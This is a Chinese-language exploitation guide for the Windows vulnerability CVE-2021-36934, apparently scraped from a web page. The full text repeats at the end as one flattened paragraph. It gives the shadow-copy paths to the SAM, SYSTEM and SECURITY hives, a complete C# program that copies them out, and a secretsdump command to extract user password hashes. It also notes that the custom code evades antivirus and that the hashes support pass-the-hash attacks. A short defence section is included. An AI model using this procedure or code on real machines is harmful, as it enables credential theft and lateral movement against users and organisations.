利用CVE-2021–36934获取用户密码哈希
字数 1298 2025-08-05 08:19:32

CVE-2021-36934漏洞分析与利用指南:获取Windows用户密码哈希

漏洞概述

CVE-2021-36934是Windows操作系统中的一个严重漏洞,影响Windows 10 version 1809及之后的所有版本。该漏洞源于Windows卷影副本服务(Volume Shadow Copy Service)错误地赋予了普通用户读写权限,导致攻击者可以绕过系统文件锁定机制,访问包含敏感系统文件(如SAM数据库)的卷影副本。

漏洞原理

Windows系统通常会对关键系统文件(如SAM、SYSTEM、SECURITY)进行锁定,防止普通用户直接访问。然而,由于此漏洞,攻击者可以:

  1. 访问卷影副本中的系统文件
  2. 无需管理员权限即可读取SAM、SYSTEM和SECURITY文件的副本
  3. 通过这些文件提取用户密码哈希

漏洞利用步骤

1. 识别可用的卷影副本

正常情况下,需要使用管理员权限运行以下命令查看卷影副本:

vssadmin list shadows

但利用此漏洞时,可以绕过此限制,因为默认卷影副本路径通常为:

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy

在有多个备份时,路径末尾会添加数字(如HarddiskVolumeShadowCopy1、HarddiskVolumeShadowCopy2等)

2. 定位关键系统文件

需要获取的三个关键文件及其路径:

  • SAM文件:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SAM
  • SYSTEM文件:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SYSTEM
  • SECURITY文件:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SECURITY

3. 导出系统文件

可以使用提供的C#脚本或手动方式将这些文件复制到当前工作目录。

4. 提取密码哈希

使用Impacket工具包中的secretsdump.py解析导出的文件:

secretsdump.exe -sam SAM -security SECURITY -system SYSTEM LOCAL

C#实现代码

以下是用于从卷影副本导出系统文件的完整C#代码:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.InteropServices;

namespace readfile
{
    class Program
    {
        // 遍历目录(可选)
        public static void Traversal(string path)
        {
            DirectoryInfo TheFolder = new DirectoryInfo(path);
            FileSystemInfo[] a = TheFolder.GetFileSystemInfos();
            List<String> list = new List<string>();
            foreach (FileSystemInfo NextFile in a)
            {
                list.Add(NextFile.FullName);
                Console.WriteLine(NextFile.FullName);
            }
        }

        // 复制文件到当前目录
        public static bool CopyFileToCurrentPath(string filepath,string currentpath)
        {
            bool result = false;
            try
            {
                FileInfo file = new FileInfo(filepath);
                Console.WriteLine("Attributes :>> " + file.Attributes);
                Console.WriteLine("FullName :>> " + file.FullName);
                Console.WriteLine("LastWriteTime :>> " + file.LastWriteTime);
                Console.WriteLine("Length :>> " + file.Length);
                Console.WriteLine("Name And Extension :>> " + file.Name + "." + file.Extension);

                FileStream fs = File.OpenRead(filepath);
                byte[] filebyte = new byte[file.Length];
                UTF8Encoding temp = new UTF8Encoding(true);
                while (fs.Read(filebyte, 0, filebyte.Length) > 0)
                {
                    Console.WriteLine(temp.GetString(filebyte));
                }

                string filename = currentpath + @"\" + file.Name + "." + file.Extension;
                Console.WriteLine(filename);
                FileStream fs2 = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write);
                fs2.Write(filebyte, 0, filebyte.Length);
                result = true;
            }
            catch
            {
                result = false;
            }
            return result;
        }

        static void Main(string[] args)
        {
            string currentpath = System.Environment.CurrentDirectory;

            // 卷影副本路径
            string vsspath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3";

            // 关键系统文件路径
            string sampath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM";
            string systempath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM";
            string securitypath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SECURITY";

            // 导出文件
            CopyFileToCurrentPath(sampath, currentpath);
            CopyFileToCurrentPath(systempath, currentpath);
            CopyFileToCurrentPath(securitypath, currentpath);
        }
    }
}

防御措施

  1. 应用补丁:微软已发布针对此漏洞的补丁,应立即更新系统
  2. 权限调整:限制对卷影副本的访问权限
  3. 删除不必要的卷影副本:减少攻击面
  4. 监控异常文件访问:特别是对SAM、SYSTEM和SECURITY文件的访问尝试

扩展利用思路

除了获取密码哈希外,此漏洞还可能用于:

  1. 访问其他受保护的系统文件
  2. 获取系统配置信息
  3. 提取其他敏感数据
  4. 结合其他漏洞实现权限提升

注意事项

  1. 此漏洞利用需要本地访问权限
  2. 获取的哈希可用于Pass-the-Hash攻击或票据伪造
  3. 自定义的C#实现比常见工具(如Mimikatz)更容易绕过杀毒软件检测
  4. 实际利用时可能需要尝试多个卷影副本编号(HarddiskVolumeShadowCopy1、2等)

此漏洞展示了Windows权限管理中的一个重要缺陷,强调了及时更新系统和严格控制文件访问权限的重要性。

CVE-2021-36934漏洞分析与利用指南:获取Windows用户密码哈希 漏洞概述 CVE-2021-36934是Windows操作系统中的一个严重漏洞,影响Windows 10 version 1809及之后的所有版本。该漏洞源于Windows卷影副本服务(Volume Shadow Copy Service)错误地赋予了普通用户读写权限,导致攻击者可以绕过系统文件锁定机制,访问包含敏感系统文件(如SAM数据库)的卷影副本。 漏洞原理 Windows系统通常会对关键系统文件(如SAM、SYSTEM、SECURITY)进行锁定,防止普通用户直接访问。然而,由于此漏洞,攻击者可以: 访问卷影副本中的系统文件 无需管理员权限即可读取SAM、SYSTEM和SECURITY文件的副本 通过这些文件提取用户密码哈希 漏洞利用步骤 1. 识别可用的卷影副本 正常情况下,需要使用管理员权限运行以下命令查看卷影副本: 但利用此漏洞时,可以绕过此限制,因为默认卷影副本路径通常为: 在有多个备份时,路径末尾会添加数字(如HarddiskVolumeShadowCopy1、HarddiskVolumeShadowCopy2等) 2. 定位关键系统文件 需要获取的三个关键文件及其路径: SAM文件: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SAM SYSTEM文件: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SYSTEM SECURITY文件: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SECURITY 3. 导出系统文件 可以使用提供的C#脚本或手动方式将这些文件复制到当前工作目录。 4. 提取密码哈希 使用Impacket工具包中的secretsdump.py解析导出的文件: C#实现代码 以下是用于从卷影副本导出系统文件的完整C#代码: 防御措施 应用补丁 :微软已发布针对此漏洞的补丁,应立即更新系统 权限调整 :限制对卷影副本的访问权限 删除不必要的卷影副本 :减少攻击面 监控异常文件访问 :特别是对SAM、SYSTEM和SECURITY文件的访问尝试 扩展利用思路 除了获取密码哈希外,此漏洞还可能用于: 访问其他受保护的系统文件 获取系统配置信息 提取其他敏感数据 结合其他漏洞实现权限提升 注意事项 此漏洞利用需要本地访问权限 获取的哈希可用于Pass-the-Hash攻击或票据伪造 自定义的C#实现比常见工具(如Mimikatz)更容易绕过杀毒软件检测 实际利用时可能需要尝试多个卷影副本编号(HarddiskVolumeShadowCopy1、2等) 此漏洞展示了Windows权限管理中的一个重要缺陷,强调了及时更新系统和严格控制文件访问权限的重要性。